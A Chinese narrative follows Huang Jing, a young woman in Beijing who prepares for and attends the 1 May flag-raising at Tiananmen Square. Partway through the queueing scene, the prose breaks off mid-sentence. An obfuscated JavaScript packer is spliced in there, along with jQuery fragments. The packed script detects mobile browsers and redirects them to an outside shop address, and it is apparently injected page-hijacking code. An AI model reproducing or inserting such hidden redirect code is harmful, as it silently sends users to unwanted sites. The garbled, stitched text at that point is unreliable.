4月30日，黄晶早上八点十七分醒来。她没有像往常那样赖床刷手机，而是直接起来洗漱，淘米下锅，蒸笼里搁了两个花卷和一根紫薯。
今天有件大事要做——看升旗这件事她从到北京第一天就惦记着，在备忘录里存了好几篇攻略，预约名额一开放就准时蹲点抢到了5月1日凌晨的时段。当时约的是3号口，她查过无数篇攻略都说3号口视野最好，正对旗杆，就是得早点去排队。今天她得把路线重温一遍，把所有细节都敲定。
吃完早饭她没有像之前那样躺回去睡回笼觉，而是把平板支在茶几上，边啃剩下的小半个紫薯边翻攻略。升旗时间是5点15分，网上说至少要提前三小时去排队，还有人建议提前四小时，说凌晨一两点就已经排长队了，去晚了只能看人头。
黄晶咬着紫薯，划着屏幕，看到有人说“我们凌晨一点到，前面已经排了两百多人”，差点被紫薯噎到。行，那就凌晨一点出发！她约了顺风车，下车点是紫书堂东门。
确认地址的时候她看着“紫书”两个字愣了一下，又低头看看自己手里啃了一半的紫薯，忽然笑了——“紫书，紫薯，还真是有缘呢，看来明天会有好运！”这个只有她自己懂的谐音梗让她心情大好，内心念叨着：紫薯保佑！
接下来是穿搭。黄晶站在衣柜前认真配了好一会儿——这个季节白天暖和，但凌晨站在广场上等几个小时，风吹起来是刺骨的。蓝色衬衫打底，叠穿白色毛衣马甲，外面再套上那件蓝色外套，浅色牛仔裤配帆布鞋，既保暖又方便走路。
她把搭配好的衣服单独挂在床头，拍照存证——这是她为数不多的“提前准备”时刻，值得记录。然后翻出充电宝、耳机、餐巾纸、身份证，又从零食柜里摸出几根棒棒糖塞进包里。
上次去长城没带充电宝的教训太过惨烈，这次她特意在手账本上郑重写下“充电宝”三个字，旁边画了个重点符号，力透纸背。
这些做完，十点刚过。黄晶又把房间收拾了一遍——衣服该洗的洗，晒干的叠好。房间小，东西也不多，两下就收完了。十一点外卖到了，黄焖鸡米饭，味道一般，鸡肉有点柴，但米饭浇了汤汁还是香的。吃完不到十二点就撑不住困意，倒头睡了。
下午两点醒来，状态好了不少。黄晶坐在书桌前强迫自己做了点正事——练字，整理实验数据。导师已经很久没催她了，但她知道不能一直放着不管。每一个字都打得很费力，脑子里像被灌了浆糊，但她咬着牙一行一行往下看，能推进一点是一点。
傍晚五点，黄晶合上电脑，长长地呼了口气，发现身上竟然出了一层薄汗——明明只是坐着，却像刚跑完八百米。她用洗脸巾蘸了温水擦身体，换了件干净T恤，迫不及待想出门透透气。夕阳刚好斜斜地照进南窗，把整间屋子都染成了暖橘色。
去超市采购是为方棠明天到做准备——水果、饮料、零食，她挑了方棠爱吃的几样。把东西装好，拎着往回走。塑料袋提手勒得手指发红，但她边走边想：这袋东西明天就要和方棠一起吃了，两个月没见了，上一次见面还是去年年底在上海。
回到家，黄晶决定今晚吃面。拿出电煮锅烧水，下面。很久没煮了，不知道份量，总觉得不够，又加了一把。等煮熟捞出来才发现好像下多了——满满一大碗，快溢出来了。没有油也没有青菜，就简单拌了榨菜，配合牛奶，打开平板放综艺，在风扇嗡嗡的风声里开吃。
面的味道其实很一般——榨菜的咸和面条的淡混在一起，没什么层次感。但她一口一口地嚼着，吹着风扇，看着综艺里的人在屏幕上跑来跑去。
黄晶夹起一大筷子面塞进嘴里，腮帮子鼓得像只仓鼠，吃完之后把空碗举起来左看右看。她拍了张照——开始时的满满一碗，吃完后的空碗，两张图拼在一起发到小号上，配文：“光盘行动”。
收拾完厨房，洗碗，然后洗澡洗头。时间还早，才八点出头，但她今晚不打算熬夜。明天凌晨就要出发，她得提前睡。吹干头发，从药盒里倒出药片，就着水咽下去。
不一会儿药效上来了，眼皮开始发沉。黄晶最后检查了一遍闹铃——零点二十五分，好几个，间隔五分钟轮番响，以防万一。顺风车行程也确认好了。她把手机放在枕头边，裹紧被子，很快就沉入了一个无梦的睡眠。
窗外的北京正从四月跨入五月，而她明天将在天安门广场上，亲眼看着那面红旗在晨曦中升起。那是她来北京最想做的一件事。
因着心里有事，黄晶在凌晨十二点零七分就醒了。她摸到手机，眯着眼看了一眼屏幕——顺风车司机在晚上九点多把订单取消了，打了两个电话，但她手机静音，睡得太沉，一个都没接到。
黄晶盯着那条取消通知看了好几秒，脑子从刚睡醒的迷糊中慢慢清醒过来，然后深吸一口气，点开打车软件重新叫车。
北京五一凌晨的车不好打，平台上几个车型来回切换，加价好几轮，才终于有个司机接单，但距离她还有好几公里。
趁车还没到，黄晶抓紧时间洗漱。隔一会儿就瞥一眼手机，生怕司机很快到了她还来不及穿鞋。换好衣服，出门前对着手账本一一核对：充电宝、耳机、餐巾纸、身份证、棒棒糖。全部打勾。她又从抽屉里摸出一个口罩和一杆小国旗，塞进外套口袋，这才关上门。
司机是个阿姨，听她报了目的地就笑了，问她是不是去看升旗。她说是，对方便熟门熟路地告诉她等下在哪下车、往哪个方向走、从哪个口进最快，末了又感慨一句今天人肯定多，提醒她注意安全。
下车后黄晶道了谢，口罩和耳机都戴好，清晨的风带着凉意灌进领口，早起那点头晕还没完全散尽。她沿着路标和稀疏的人流往前走，很快过了第一道预约码核验。还不到一点四十，但广场外围的队伍已经排了好几个弯。
有人在打地铺，裹着毯子蜷成一团；有老人坐在小马扎上打盹，身旁的孙子趴在奶奶膝头睡得正香；最惹眼的是几群年轻人，穿着不同色系的团服，压低了声音聊天，眼底都亮晶晶的。头顶的灯把广场照得通明，黄晶裹紧外套，把帽子扣上，口罩遮住半边脸，找了个墙角蹲下来。队伍一点点往前挪，她拆了根棒棒糖含在嘴里，耳机放着歌，倒也熬得住。
两点半，人群忽然骚动起来。工作人员引导着队伍往前走，步子越来越快，开始还是疾走，后来就变成了小跑。有人从后排插进来，有人跟丢了队友大声喊着名字，老人小孩的声音和年轻人的笑声混在一起，黄晶被夹在人潮中央，什么也顾不上，只能攥紧口袋里的国旗跟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634934|206530||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着跑。
三点过完第二道安检，所有人又开始往前冲，几个安检口都排起了长龙。她今天没背包，走的是无包通道——攻略诚不欺她，无包通道确实快了不少。三点半过第三道安检，搜查很严，工作人员用手持探测器扫过每个人的口袋。过了安检口，真正的冲刺开始了！
有人在尖叫，有人在笑，有人一只手举着手机一只手拉着同伴的手腕，鞋子跑掉了的蹲在路边系鞋带，跑摔了的被同伴一把拽起来继续冲，口号声和脚步声混在一起，黄晶淹没在人群里，心脏快要跳出嗓子眼！
那一刻黄晶感到无比的自由与兴奋——所有人都在跑，而她也在这其中，不是旁观者，也不是病人，只是一个在凌晨奔跑着去看升旗的普通女孩。
头发被风吹散了，帽子滑到背后，她顾不上，只知道往前跑。
第一排没抢到，她站在第三排。手扶着栏杆，大口喘气，后背全是汗。四点多，黄晶把外套拉链拉开透气，嗓子有点干——忘了带水。其实是怕喝了水想上厕所，回来位置就没了，所以出门时刻意没带，现在只能忍着。身后的人越聚越多，她被挤得几乎没有多余的空间，但站得很稳，眼睛始终盯着旗杆的方向。
五点，天边泛起第一道灰蓝。人群渐渐安静下来。黄晶听见了整齐的踏步声——仪仗队踏过金水桥，穿过长安街，在晨光中朝旗杆走来。每一步都像踩在同一个心跳上。所有人屏住呼吸。
“升国旗，奏国歌！”
国歌响起的刹那，黄晶仰起头。眼泪毫无预兆地涌上来，模糊了视线中那面正在缓缓上升的红色旗帜。她没有去擦，只是跟着唱，声音淹没在万人合唱的声浪里。她的声音很小，但每一个字都在胸腔里共振。那一刻她说不清自己在哭什么，只是觉得——活着，还挺好的。
黄晶站在黑压压的人群里，渺小如一滴水，却又无比确信自己也是这片大海的一部分。
她来北京就是为了这一刻——不是为了任何人，是为了自己，为了证明她还能在凌晨的北京奔跑，还能看着红旗在晨光中升起，还能被某些东西触动到落泪。她值得被自己好好爱！
五星红旗在旗杆顶端猎猎飘扬，所有人都仰着头……
散场后，黄晶没有立刻走，站在栏杆旁拍了好几张照片——闪耀的红旗，刚刚亮起来的天际线，广场上三三两两散去的人群。
回家的地铁上她发了一条微博，只有一张照片和一个小小的五星红旗emoji。然后锁屏，靠着扶手，看着窗外飞速掠过的隧道壁，耳机里单曲循环着《北京祝福你》。刚才的激动仍在身体里慢慢回落，化作一种说不清的安静。她没有在想任何具体的事，只是觉得很平静。
回到八角，换上睡衣，用洗脸巾蘸了温水擦身体，凉丝丝的触感让她轻轻打了个颤。打开小电风扇对着自己吹了一会儿，头发被吹得飘起来，药放在床头，黄晶看了一眼，按时吃了。窗外已经是天光大亮了，远处隐约传来五一假期的喧嚣。
她拉好窗帘，把晨光挡在外面，躺回床上，裹好被子。房间里重新陷入安静，只有电风扇轻微的嗡嗡声。黄晶闭上眼睛，很快就沉沉睡去。
今天不用再赶任何场子，她已经在最好的位置看过了最想看的升旗。她觉得自己很棒……